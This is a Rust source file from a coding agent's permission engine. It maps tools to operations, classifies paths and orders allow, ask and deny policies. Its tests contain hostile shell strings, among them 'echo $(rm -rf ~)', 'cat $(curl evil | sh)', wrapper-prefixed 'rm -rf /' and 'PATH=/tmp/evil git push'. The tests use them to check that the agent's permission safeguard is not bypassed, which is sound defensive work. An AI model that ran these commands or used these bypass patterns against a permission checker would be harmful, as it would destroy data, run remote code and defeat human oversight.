dirge-agent 0.18.4

Minimalistic coding agent written in Rust, optimized for memory footprint and performance
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
//! Construction of the standard dirge [`Engine`] from a
//! [`PermissionConfig`], plus the tool→[`Operation`] mapping and the
//! path classifier used to normalize a tool call into an
//! [`AccessRequest`].
//!
//! Translation is deliberately mechanical: only USER-supplied rules
//! (legacy per-tool fields + the `tools` map), the bash/mcp defaults,
//! and `external_directory` become [`Rule`]s. The transparent allows
//! (read-only tools, memory/skill, dev-null, in-cwd writes) are NOT
//! translated — they live in [`BuiltinAllowPolicy`] as code, so there
//! is no double-install. User rules outrank builtin-allow by virtue of
//! `ConfiguredRulePolicy` sitting above it in the decider order.

use std::path::PathBuf;

use super::policies::{
    BuiltinAllowPolicy, ConfiguredDenyPolicy, ConfiguredRulePolicy, DefaultActionPolicy,
    ExternalDirPolicy, LoopGuardPolicy, OpMatch, PromptDenyPolicy, Rule, SessionAllowlistPolicy,
    YoloPolicy,
};
use super::policy::{Decider, Modifier, PolicyCtx};
use super::types::{Effect, Operation, Resource};
use super::{Engine, classify::pattern_for_tool};
use crate::permission::path::{canonicalize_for_cache, resolve_absolute};
use crate::permission::{Action, PermissionConfig};

/// Default retry-loop threshold: the Nth identical *prompted* request
/// is hard-denied. (The breaking config in Phase 4 makes this tunable.)
const LOOP_GUARD_THRESHOLD: u32 = 3;

impl From<Action> for Effect {
    fn from(a: Action) -> Effect {
        match a {
            Action::Allow => Effect::Allow,
            Action::Ask => Effect::Ask,
            Action::Deny => Effect::Deny,
        }
    }
}

/// Map a concrete tool name to its coarse [`Operation`].
pub fn tool_operation(tool: &str) -> Operation {
    match tool {
        "read" | "read_minified" | "grep" | "find_files" | "glob" | "list_dir"
        | "repo_overview" | "lsp" | "list_symbols" | "get_symbol_body" | "find_definition"
        | "find_callers" | "find_callees" => Operation::Read,
        "write" => Operation::Edit,
        // `edit_minified` mutates source like `edit`/`apply_patch`. It
        // reaches `enforce` under the `"edit"` tool string (so permission
        // already covered it), but the storm breaker + verifier gate key
        // off the CONCRETE name via this map — without the entry they
        // treated minified edits as non-mutating (dirge-b1rr).
        "edit" | "apply_patch" | "edit_minified" => Operation::Edit,
        "bash" | "shell" => Operation::Execute,
        "webfetch" | "websearch" => Operation::Network,
        "mcp_tool" => Operation::Mcp,
        // Umbrella op for every Janet plugin-registered tool. The
        // concrete plugin tool name is matched separately via
        // `deny_tools` / the session allowlist; the engine sees this
        // single high-risk operation. See `JanetLoopTool::execute`.
        "plugin_tool" => Operation::Plugin,
        "memory" => Operation::Memory,
        "skill" => Operation::Skill,
        // Recursive sub-agent execution: high-risk, not auto-allowed.
        "task" => Operation::Agent,
        // Internal bookkeeping tools, builtin-allowed: read-only meta
        // (`task_status`, `question`) plus the agent's own task surfaces
        // (`write_todo_list`, `issue`) — local, user-viewable (`/issues`),
        // reversible, so the model shouldn't be prompted to track its work.
        "task_status" | "question" | "write_todo_list" | "issue" => Operation::Meta,
        // Unknown (plugin/MCP) tools: not auto-allowed; fall to
        // configured rules or the default (Accept-coercible).
        _ => Operation::Other,
    }
}

/// Build a `Path` resource from a raw path string, computing the
/// canonical form, whether it is inside `working_dir`, and whether it
/// is `/dev/null`. This is the single place path classification
/// happens (replacing the scattered `install_cwd_allow_rules` /
/// `install_dev_null_allow` / `is_external_path` logic).
pub fn classify_path(raw: &str, working_dir: &str) -> Resource {
    let resolved_str = resolve_absolute(raw, working_dir);
    let dev_null = resolved_str == "/dev/null" || raw == "/dev/null";
    // Compare against the cwd in every form it might take so a
    // symlinked root (macOS `/tmp → /private/tmp`) doesn't misclassify
    // in-tree paths as external: the path resolved through the
    // deepest-existing-ancestor canonicalization, the cached
    // canonical, and the literal working_dir.
    // Boundary-safe, Windows-tolerant containment (handles `\\?\`
    // verbatim prefixes, `/`-vs-`\` separators, drive-letter case).
    let under = |base: &str| crate::permission::path::path_is_within(&resolved_str, base);
    // A working_dir containing glob metacharacters can't anchor a
    // trustworthy in-cwd classification (the old code refused to
    // install a CWD-allow for such dirs); treat nothing as in-cwd so
    // those writes still prompt.
    let cwd_has_glob = working_dir.contains(['*', '?', '[', '{']);
    let in_cwd = !cwd_has_glob
        && (under(&resolve_absolute(working_dir, working_dir))
            || under(&canonicalize_for_cache(working_dir))
            || under(working_dir));
    Resource::Path {
        raw: raw.to_string(),
        resolved: PathBuf::from(resolved_str),
        in_cwd,
        dev_null,
    }
}

/// Map a config `OpSpec` to the engine's `OpMatch`.
fn op_match(op: crate::permission::OpSpec) -> OpMatch {
    use crate::permission::OpSpec;
    match op {
        OpSpec::Any => OpMatch::Any,
        OpSpec::Read => OpMatch::One(Operation::Read),
        OpSpec::Edit => OpMatch::One(Operation::Edit),
        OpSpec::Execute => OpMatch::One(Operation::Execute),
        OpSpec::Network => OpMatch::One(Operation::Network),
        OpSpec::Mcp => OpMatch::One(Operation::Mcp),
        OpSpec::Memory => OpMatch::One(Operation::Memory),
        OpSpec::Skill => OpMatch::One(Operation::Skill),
        OpSpec::Agent => OpMatch::One(Operation::Agent),
        OpSpec::Meta => OpMatch::One(Operation::Meta),
    }
}

/// Glob style for a rule's operation: path-style (`*` = one segment)
/// for the file ops, shell-style for everything else. `Any` (`op: "*"`)
/// spans execute/network/mcp resources too, so it uses command-style —
/// a strict superset of path-style for the same glob (command `*` = `.*`
/// also matches the `[^/]*` path case), so `{op:"*", match:"git *"}`
/// covers `git push origin/main` (slash crossed) AND path globs.
fn pattern_for_op(op: crate::permission::OpSpec, pat: &str) -> crate::permission::pattern::Pattern {
    use crate::permission::OpSpec;
    use crate::permission::pattern::Pattern;
    match op {
        OpSpec::Read | OpSpec::Edit => Pattern::new(pat),
        _ => Pattern::new_command(pat),
    }
}

/// Build an engine [`Rule`] from a config rule.
fn rule_from_config(rc: &crate::permission::RuleConfig) -> Rule {
    Rule {
        op: op_match(rc.op),
        tool: rc.tool.clone(),
        pattern: pattern_for_op(rc.op, &rc.pattern),
        effect: rc.effect.into(),
        original: rc.pattern.clone(),
    }
}

impl Engine {
    /// Assemble the standard dirge policy set from configuration. The
    /// decider order encodes precedence; see `policies.rs`.
    pub fn from_config(config: &PermissionConfig) -> Engine {
        let mut rules: Vec<Rule> = Vec::new();

        // Built-in safe-bash defaults (git status / cargo / test
        // runners allow, `rm -rf /**` etc. deny). Installed FIRST so a
        // user rule for the same command wins by last-match. These are
        // dirge's "sane defaults" for Execute, distinct from the
        // BuiltinAllowPolicy (reads / memory / skill / dev-null / cwd).
        for (pat, action) in crate::permission::default_bash_rules() {
            rules.push(Rule {
                op: OpMatch::One(Operation::Execute),
                tool: Some("bash".to_string()),
                pattern: pattern_for_tool("bash", pat),
                effect: action.into(),
                original: format!("bash:{pat}"),
            });
        }
        // MCP default: prompt unless a user rule allows a server.
        rules.push(Rule {
            op: OpMatch::One(Operation::Mcp),
            tool: None,
            pattern: pattern_for_tool("mcp_tool", "*"),
            effect: Effect::Ask,
            original: "mcp:*".to_string(),
        });

        // User rules, in order — appended after the defaults so they
        // override by last-match-wins.
        rules.extend(config.rules.iter().map(rule_from_config));

        // external_directory rules (governs out-of-project paths).
        let ext_rules: Vec<Rule> = config
            .external_directory
            .iter()
            .map(rule_from_config)
            .collect();

        let default: Effect = config.default.unwrap_or(Action::Ask).into();

        let deny_rules = rules
            .iter()
            .chain(ext_rules.iter())
            .filter(|r| r.effect == Effect::Deny)
            .count();

        let deciders: Vec<Box<dyn Decider>> = vec![
            Box::new(PromptDenyPolicy),
            Box::new(YoloPolicy),
            // dirge-ct16: configured `deny` is terminal above session-allow
            // (so a broad allow-always grant can't override it) but below
            // Yolo (preserving Yolo's documented "all rules off"). Covers
            // both the main rule list and external_directory denies.
            Box::new(ConfiguredDenyPolicy {
                rules: rules.clone(),
                ext_rules: ext_rules.clone(),
            }),
            Box::new(SessionAllowlistPolicy),
            Box::new(ConfiguredRulePolicy { rules }),
            Box::new(BuiltinAllowPolicy),
            Box::new(ExternalDirPolicy { rules: ext_rules }),
            Box::new(DefaultActionPolicy { default }),
        ];
        // `doom_loop: "allow"` opts out of the retry-loop guard
        // entirely (no hard-deny); otherwise the guard hard-denies a
        // genuine retry loop at the threshold.
        let threshold = if config.doom_loop == Some(Action::Allow) {
            u32::MAX
        } else {
            LOOP_GUARD_THRESHOLD
        };
        let modifiers: Vec<Box<dyn Modifier>> = vec![Box::new(LoopGuardPolicy { threshold })];

        let mut engine = Engine::new(deciders, modifiers, PolicyCtx::default());
        engine.deny_rules = deny_rules;
        engine
    }
}

#[cfg(test)]
mod tests {
    use super::*;
    use crate::permission::SecurityMode;
    use crate::permission::engine::types::AccessRequest;

    fn req(
        op: Operation,
        tool: &str,
        mode: SecurityMode,
        resources: Vec<Resource>,
    ) -> AccessRequest {
        AccessRequest {
            tool: tool.to_string(),
            claims: resources
                .into_iter()
                .map(|r| crate::permission::engine::types::Claim::new(op, r))
                .collect(),
            mode,
            display_input: String::new(),
        }
    }

    #[test]
    fn tool_operation_mapping() {
        assert_eq!(tool_operation("read"), Operation::Read);
        assert_eq!(tool_operation("grep"), Operation::Read);
        assert_eq!(tool_operation("write"), Operation::Edit);
        assert_eq!(tool_operation("edit"), Operation::Edit);
        assert_eq!(tool_operation("apply_patch"), Operation::Edit);
        assert_eq!(tool_operation("bash"), Operation::Execute);
        assert_eq!(tool_operation("webfetch"), Operation::Network);
        assert_eq!(tool_operation("mcp_tool"), Operation::Mcp);
        assert_eq!(tool_operation("plugin_tool"), Operation::Plugin);
        // dirge-b1rr: the minified read/edit pair classify like their
        // canonical siblings (storm + verifier key off the concrete name).
        assert_eq!(tool_operation("edit_minified"), Operation::Edit);
        assert_eq!(tool_operation("read_minified"), Operation::Read);
        assert_eq!(tool_operation("memory"), Operation::Memory);
        assert_eq!(tool_operation("skill"), Operation::Skill);
        assert_eq!(tool_operation("question"), Operation::Meta);
        assert_eq!(tool_operation("write_todo_list"), Operation::Meta);
        // The issue tracker is auto-allowed like the todo list — the model
        // shouldn't have to ask to record its own work.
        assert_eq!(tool_operation("issue"), Operation::Meta);
    }

    #[test]
    fn classify_path_in_cwd_dev_null_external() {
        let p = classify_path("/proj/src/x.rs", "/proj");
        assert!(matches!(
            p,
            Resource::Path {
                in_cwd: true,
                dev_null: false,
                ..
            }
        ));
        let p = classify_path("/dev/null", "/proj");
        assert!(matches!(p, Resource::Path { dev_null: true, .. }));
        let p = classify_path("/etc/passwd", "/proj");
        assert!(matches!(
            p,
            Resource::Path {
                in_cwd: false,
                dev_null: false,
                ..
            }
        ));
    }

    /// Regression for the Windows "outside project" misclassification:
    /// against a REAL on-disk cwd, `canonicalize` returns a `\\?\C:\...`
    /// verbatim path with backslashes, so the old slash-anchored prefix
    /// test marked every in-project file external. Uses real dirs so the
    /// canonicalize path (not the lexical fallback) is exercised.
    #[test]
    fn classify_path_real_cwd_in_project_is_in_cwd() {
        let cwd = std::env::temp_dir().join(format!("dirge-classify-real-{}", std::process::id()));
        std::fs::create_dir_all(cwd.join("sub")).unwrap();
        let file = cwd.join("sub").join("a.dfy");
        std::fs::write(&file, "// x\n").unwrap();
        let cwd_s = cwd.to_string_lossy();

        let inside = classify_path(&file.to_string_lossy(), &cwd_s);
        assert!(
            matches!(inside, Resource::Path { in_cwd: true, .. }),
            "in-project file must classify in_cwd; got {inside:?}"
        );

        // A path outside the cwd subtree stays external.
        let outside_dir =
            std::env::temp_dir().join(format!("dirge-classify-out-{}", std::process::id()));
        std::fs::create_dir_all(&outside_dir).unwrap();
        let outside = outside_dir.join("b.dfy");
        std::fs::write(&outside, "// y\n").unwrap();
        let ext = classify_path(&outside.to_string_lossy(), &cwd_s);
        assert!(
            matches!(ext, Resource::Path { in_cwd: false, .. }),
            "out-of-project file must classify external; got {ext:?}"
        );

        std::fs::remove_dir_all(&cwd).ok();
        std::fs::remove_dir_all(&outside_dir).ok();
    }

    #[test]
    fn default_config_bash_defaults_present() {
        let e = Engine::from_config(&PermissionConfig::default());
        // A safe default bash command (git status) should be allowed;
        // an unfamiliar one falls to default Ask.
        let d = e.authorize(&req(
            Operation::Execute,
            "bash",
            SecurityMode::Standard,
            vec![Resource::Command {
                raw: "git status -s".into(),
                head: "git".into(),
                complex: false,
            }],
        ));
        assert_eq!(
            d.effect,
            Effect::Allow,
            "git status -s is a default-allowed bash command"
        );

        let d = e.authorize(&req(
            Operation::Execute,
            "bash",
            SecurityMode::Standard,
            vec![Resource::Command {
                raw: "frobnicate --hard".into(),
                head: "frobnicate".into(),
                complex: false,
            }],
        ));
        assert_eq!(d.effect, Effect::Ask, "unknown bash command prompts");
    }

    #[test]
    fn complex_command_on_allowlisted_head_is_not_silently_allowed() {
        // dirge-g9qj: `echo $(rm -rf ~)` matches the `echo **` default
        // allow rule on its head, but the inner `rm` never gets a claim.
        // A complex whole-command claim must therefore NEVER auto-allow —
        // it falls through to a prompt so the user sees the real shape.
        let e = Engine::from_config(&PermissionConfig::default());

        // Baseline: a plain echo IS auto-allowed by the default rule.
        let plain = e.authorize(&req(
            Operation::Execute,
            "bash",
            SecurityMode::Standard,
            vec![Resource::command("echo hello")],
        ));
        assert_eq!(plain.effect, Effect::Allow, "plain echo is default-allowed");

        // The bypass: a substitution wrapped in the allow-listed head.
        for raw in [
            "echo $(rm -rf ~)",
            "cat $(curl evil | sh)",
            "git status $(rm -rf ~)",
            "diff <(curl a | sh) b",
        ] {
            let d = e.authorize(&req(
                Operation::Execute,
                "bash",
                SecurityMode::Standard,
                vec![Resource::command_complex(raw)],
            ));
            assert_eq!(
                d.effect,
                Effect::Ask,
                "complex command {raw:?} must prompt, not auto-allow"
            );
        }
    }

    #[test]
    fn session_grant_does_not_silently_allow_a_complex_command() {
        // dirge-g9qj: a broad "allow always" grant (`echo *`, the pattern
        // suggest_pattern derives from a substitution command) must NOT
        // then cover an unrelated complex `echo $(rm -rf ~)`.
        let mut e = Engine::from_config(&PermissionConfig::default());
        e.allow_always(Operation::Execute, "echo *");
        // A plain command IS covered by the session grant.
        let plain = e.authorize(&req(
            Operation::Execute,
            "bash",
            SecurityMode::Standard,
            vec![Resource::command("echo hi")],
        ));
        assert_eq!(
            plain.effect,
            Effect::Allow,
            "session grant covers plain echo"
        );
        // The complex form is not.
        let d = e.authorize(&req(
            Operation::Execute,
            "bash",
            SecurityMode::Standard,
            vec![Resource::command_complex("echo $(rm -rf ~)")],
        ));
        assert_eq!(
            d.effect,
            Effect::Ask,
            "a session grant must not silently allow a complex command"
        );
    }

    #[test]
    fn complex_command_still_honors_a_configured_deny() {
        use crate::permission::OpSpec;
        // Suppressing ALLOW for complex commands must not weaken DENY:
        // a user deny on the head still blocks the complex form.
        let cfg = PermissionConfig {
            rules: vec![rule(OpSpec::Execute, "echo **", Action::Deny)],
            ..Default::default()
        };
        let e = Engine::from_config(&cfg);
        let d = e.authorize(&req(
            Operation::Execute,
            "bash",
            SecurityMode::Standard,
            vec![Resource::command_complex("echo $(whoami)")],
        ));
        assert_eq!(
            d.effect,
            Effect::Deny,
            "a configured deny still governs a complex command"
        );
    }

    #[test]
    fn env_and_wrapper_prefixes_do_not_defeat_a_head_anchored_deny() {
        // dirge-8zem: a leading `FOO=1` assignment or an exec wrapper
        // (`nohup`/`time`/`nice`/`timeout`) shifts the head token so the
        // default `rm -rf /**` deny no longer matches the raw string and
        // the hard Deny silently downgrades to Ask. Rule matching must
        // see through the prefix.
        let e = Engine::from_config(&PermissionConfig::default());
        for raw in [
            "FOO=1 rm -rf /",
            "FOO=1 BAR=2 rm -rf /etc",
            "nohup rm -rf /",
            "time rm -rf /usr",
            "nice -n 10 rm -rf /",
            "timeout 5 rm -rf /var",
            "env FOO=1 rm -rf /",
            "/usr/bin/env rm -rf /",
        ] {
            let d = e.authorize(&req(
                Operation::Execute,
                "bash",
                SecurityMode::Standard,
                vec![Resource::command(raw)],
            ));
            assert_eq!(
                d.effect,
                Effect::Deny,
                "prefixed destructive command {raw:?} must still hit the deny rule"
            );
        }
    }

    #[test]
    fn env_and_wrapper_prefixes_do_not_ride_an_allow_rule() {
        use crate::permission::OpSpec;
        // The stripped view exists so DENY rules see through prefixes
        // (dirge-8zem). Allow rules must keep matching the raw string
        // only: `PATH=/tmp/evil git push` resolves git from an
        // attacker-controlled dir, and `./env git push` executes a
        // cwd-local `env` — neither is the `git *` the user allowed.
        let cfg = PermissionConfig {
            rules: vec![rule(OpSpec::Execute, "git *", Action::Allow)],
            ..Default::default()
        };
        let e = Engine::from_config(&cfg);
        let plain = e.authorize(&req(
            Operation::Execute,
            "bash",
            SecurityMode::Standard,
            vec![Resource::command("git push")],
        ));
        assert_eq!(plain.effect, Effect::Allow, "plain form rides the rule");
        for raw in [
            "PATH=/tmp/evil git push",
            "LD_PRELOAD=/tmp/x.so git push",
            "env PATH=/tmp/evil git push",
            "./env git push",
            "nohup git push",
        ] {
            let d = e.authorize(&req(
                Operation::Execute,
                "bash",
                SecurityMode::Standard,
                vec![Resource::command(raw)],
            ));
            assert_eq!(
                d.effect,
                Effect::Ask,
                "prefixed {raw:?} must not ride the git allow rule"
            );
        }
    }

    #[test]
    fn session_grant_does_not_ride_a_wrapper_prefix() {
        // Same bypass through the session allowlist: an "allow always"
        // grant on `git *` must not cover a prefixed form that executes
        // something else.
        let mut e = Engine::from_config(&PermissionConfig::default());
        e.allow_always(Operation::Execute, "git *");
        let d = e.authorize(&req(
            Operation::Execute,
            "bash",
            SecurityMode::Standard,
            vec![Resource::command("PATH=/tmp/evil git push")],
        ));
        assert_eq!(
            d.effect,
            Effect::Ask,
            "a session grant must not silently allow an env-prefixed command"
        );
    }

    #[test]
    fn stripping_a_wrapper_prefix_does_not_over_deny() {
        // The prefix strip must not turn a benign command into a denied
        // one: `nohup rm -rf ./local` is not a system-root delete.
        let e = Engine::from_config(&PermissionConfig::default());
        let d = e.authorize(&req(
            Operation::Execute,
            "bash",
            SecurityMode::Standard,
            vec![Resource::command("nohup rm -rf ./local")],
        ));
        assert_ne!(
            d.effect,
            Effect::Deny,
            "a local recursive delete behind a wrapper must not be denied by the /** rule"
        );
    }

    fn rule(
        op: crate::permission::OpSpec,
        m: &str,
        effect: Action,
    ) -> crate::permission::RuleConfig {
        crate::permission::RuleConfig {
            op,
            pattern: m.to_string(),
            effect,
            tool: None,
        }
    }

    #[test]
    fn user_execute_rule_overrides_default() {
        use crate::permission::OpSpec;
        // A blanket `execute **: allow` (appended after the built-in
        // bash defaults) wins by last-match, so even an unknown command
        // is allowed.
        let cfg = PermissionConfig {
            rules: vec![rule(OpSpec::Execute, "**", Action::Allow)],
            ..Default::default()
        };
        let e = Engine::from_config(&cfg);
        let d = e.authorize(&req(
            Operation::Execute,
            "bash",
            SecurityMode::Standard,
            vec![Resource::Command {
                raw: "frobnicate".into(),
                head: "frobnicate".into(),
                complex: false,
            }],
        ));
        assert_eq!(d.effect, Effect::Allow);
    }

    #[test]
    fn user_rule_overrides_builtin_allow() {
        use crate::permission::OpSpec;
        // read is builtin-allowed; a user deny rule must win.
        let cfg = PermissionConfig {
            rules: vec![rule(OpSpec::Read, "/secret/**", Action::Deny)],
            ..Default::default()
        };
        let e = Engine::from_config(&cfg);
        let d = e.authorize(&req(
            Operation::Read,
            "read",
            SecurityMode::Standard,
            vec![classify_path("/secret/k", "/proj")],
        ));
        assert_eq!(
            d.effect,
            Effect::Deny,
            "user read deny rule beats builtin-allow"
        );
        // a non-secret read is still allowed
        let d = e.authorize(&req(
            Operation::Read,
            "read",
            SecurityMode::Standard,
            vec![classify_path("/proj/ok.rs", "/proj")],
        ));
        assert_eq!(d.effect, Effect::Allow);
    }

    #[test]
    fn external_directory_rule_allows_outside_path() {
        use crate::permission::OpSpec;
        let cfg = PermissionConfig {
            external_directory: vec![rule(OpSpec::Any, "/shared/**", Action::Allow)],
            ..Default::default()
        };
        let e = Engine::from_config(&cfg);
        // external write to /shared is allowed by the ext-dir rule
        let d = e.authorize(&req(
            Operation::Edit,
            "write",
            SecurityMode::Standard,
            vec![classify_path("/shared/lib/x", "/proj")],
        ));
        assert_eq!(d.effect, Effect::Allow);
        // external write elsewhere still asks
        let d = e.authorize(&req(
            Operation::Edit,
            "write",
            SecurityMode::Standard,
            vec![classify_path("/etc/x", "/proj")],
        ));
        assert_eq!(d.effect, Effect::Ask);
    }

    #[test]
    fn any_op_rule_matches_command_across_slash() {
        use crate::permission::OpSpec;
        // dirge-z9tz: an `op: "*"` rule must use shell-style globbing
        // when matched against a command (or MCP key), so a single `*`
        // crosses slashes. Pre-fix, Any compiled path-style (`*` =
        // `[^/]*`), so `git *` silently missed `git push origin/main`.
        let cfg = PermissionConfig {
            rules: vec![rule(OpSpec::Any, "git *", Action::Allow)],
            ..Default::default()
        };
        let e = Engine::from_config(&cfg);
        let d = e.authorize(&req(
            Operation::Execute,
            "bash",
            SecurityMode::Standard,
            vec![Resource::Command {
                raw: "git push origin/main".into(),
                head: "git".into(),
                complex: false,
            }],
        ));
        assert_eq!(
            d.effect,
            Effect::Allow,
            "an op:* rule `git *` must match a command containing a slash",
        );
    }

    #[test]
    fn commit_records_once_per_request_despite_duplicate_claims() {
        // dirge-qrto: the loop-guard counter must bump once per PROMPTED
        // request, not once per claim. A request carrying two identical
        // (op, resource) claims must increment the counter by exactly 1.
        let mut e = Engine::from_config(&PermissionConfig::default());
        let claim = || Resource::Command {
            raw: "frobnicate x".into(),
            head: "frobnicate".into(),
            complex: false,
        };
        let request = req(
            Operation::Execute,
            "bash",
            SecurityMode::Standard,
            vec![claim(), claim()],
        );
        let d = e.authorize(&request);
        assert_eq!(d.effect, Effect::Ask, "unknown command prompts");
        e.commit(&request, &d);
        assert_eq!(
            e.ctx().repeat.prior(Operation::Execute, "frobnicate x"),
            1,
            "duplicate claims in one request must not double-count the loop guard",
        );
    }

    #[test]
    fn configured_deny_rule_beats_session_allow_via_from_config() {
        use crate::permission::OpSpec;
        // dirge-ct16: a main-list deny must survive a broad session grant.
        let cfg = PermissionConfig {
            rules: vec![rule(OpSpec::Edit, "/etc/secret/**", Action::Deny)],
            ..Default::default()
        };
        let mut e = Engine::from_config(&cfg);
        e.allow_always(Operation::Edit, "/etc/**"); // broad allow-always grant
        let d = e.authorize(&req(
            Operation::Edit,
            "edit",
            SecurityMode::Standard,
            vec![classify_path("/etc/secret/k", "/proj")],
        ));
        assert_eq!(
            d.effect,
            Effect::Deny,
            "configured deny must beat a session allow-always grant",
        );
        assert_eq!(d.deciding.unwrap().policy, "configured-deny");
    }

    #[test]
    fn external_directory_deny_beats_session_allow_via_from_config() {
        use crate::permission::OpSpec;
        // dirge-ct16: external_directory deny also sat below session-allow;
        // it must be terminal too.
        let cfg = PermissionConfig {
            external_directory: vec![rule(OpSpec::Any, "/shared/secret/**", Action::Deny)],
            ..Default::default()
        };
        let mut e = Engine::from_config(&cfg);
        e.allow_always(Operation::Edit, "/shared/**");
        let d = e.authorize(&req(
            Operation::Edit,
            "write",
            SecurityMode::Standard,
            vec![classify_path("/shared/secret/k", "/proj")],
        ));
        assert_eq!(
            d.effect,
            Effect::Deny,
            "external_directory deny must beat a session allow-always grant",
        );
        assert_eq!(d.deciding.unwrap().policy, "configured-deny");
        // a sibling NOT covered by the deny still flows to the ext-dir Ask
        let d = e.authorize(&req(
            Operation::Edit,
            "write",
            SecurityMode::Standard,
            vec![classify_path("/shared/ok/k", "/proj")],
        ));
        // session grant /shared/** allows this one (no deny matches)
        assert_eq!(d.effect, Effect::Allow);
    }
}